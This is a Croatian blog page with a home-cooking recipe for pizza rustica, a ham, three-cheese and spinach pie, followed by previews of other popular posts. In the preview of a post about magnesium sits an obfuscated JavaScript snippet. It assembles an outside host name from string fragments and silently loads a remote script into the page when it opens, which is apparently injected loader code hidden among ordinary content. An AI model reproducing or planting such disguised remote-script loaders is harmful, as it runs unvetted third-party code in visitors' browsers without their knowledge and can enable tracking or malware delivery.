PIZZA RUSTICA 🍕





Pizza rustica 



Pizza rustica više nalikuje quicheu, nego pizzi. Riječ je o ukusnom jelu čiji se sastojci mogu prilagoditi ovisno o stanju u hladnjaku i smočnici. U njoj možete upotrijebiti možete šunku, razne salame i kobasice, ali i alternative za meso. Danas vam donosimo recept za pizzu rusticu sa šunkom i tri vrste sira – ricottom, mozzarellom i parmezanom, te mladim listićima špinata.



Pizza rustica 


Sastojci:

Za tijesto:

  • 480 g glatkog brašna
  • 230 g hladnog maslaca
  • 6 žlica ledene vode
  • 3 velika jaja
  • prstohvat soli

Za nadjev:

  • 500 g šunke
  • 500 g sira ricotte
  • 100 g naribane mozzarelle
  • 100 g mladog špinata
  • 50 g naribanog parmezana
  • 8 velikih jaja
  • 2-3 češnja češnjaka
  • sol i papar po želji
  • biljno ulje
  • jaje za premazivanje


Priprema:

  1. Napravite tijesto za pitu: u zdjeli pomiješajte brašno i sol te utrljajte prstima kockice hladnog maslaca dok ne dobijete mrvičastu teksturu. Dodajte jaja i zamijesite sastojke rukama, te postupno dodajte jednu po jednu žlicu ledene vode dok se sastojci ne povežu i ne dobijte glatku kuglu tijesta. Tijesto zamotajte u prozirnu foliju i stavite u hladnjak na barem sat vremena da se stisne.
  2. Napravite nadjev: izmućkajte jaja i pomiješajte ih s ricottom, naribanom mozzarellom i parmezanom, kockicama šunke te listićima špinata i nasjeckanim češnjakom. Posolite i popaprite po želji.
  3. Na pobrašnjenoj podlozi razvucite tijesto – jednu trećinu tijesta ostavite za vrh pite, a od ostatka napravite podlogu promjera oko 40 centimetara. Stavite razvučenu podlogu od tijesta u okrugli kalup koji ste prethodno premazali uljem ili podložili s papirom za pečenje. Neka tijesto prelazi preko rubova kalupa.
  4. Preko tijesta prelijte pripremljeni nadjev, pa ga poklopite s preostalim razvučenim tijestom. Na vrhu ispikajte tijesto vilicom i premažite ga s jednim razmućenim jajetom u koji ste dodali nešto vode.
  5. Sve zajedno stavite peći u prethodno zagrijanu pećnicu na 190 Celzijeva stupnja oko 70 minuta, odnosno dok pita nije pečena do kraja, a tijesto ne dobije lijepu zlatno-smeđu boju. Ohladite prije rezanja i posluživanja. Dobar tek!



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više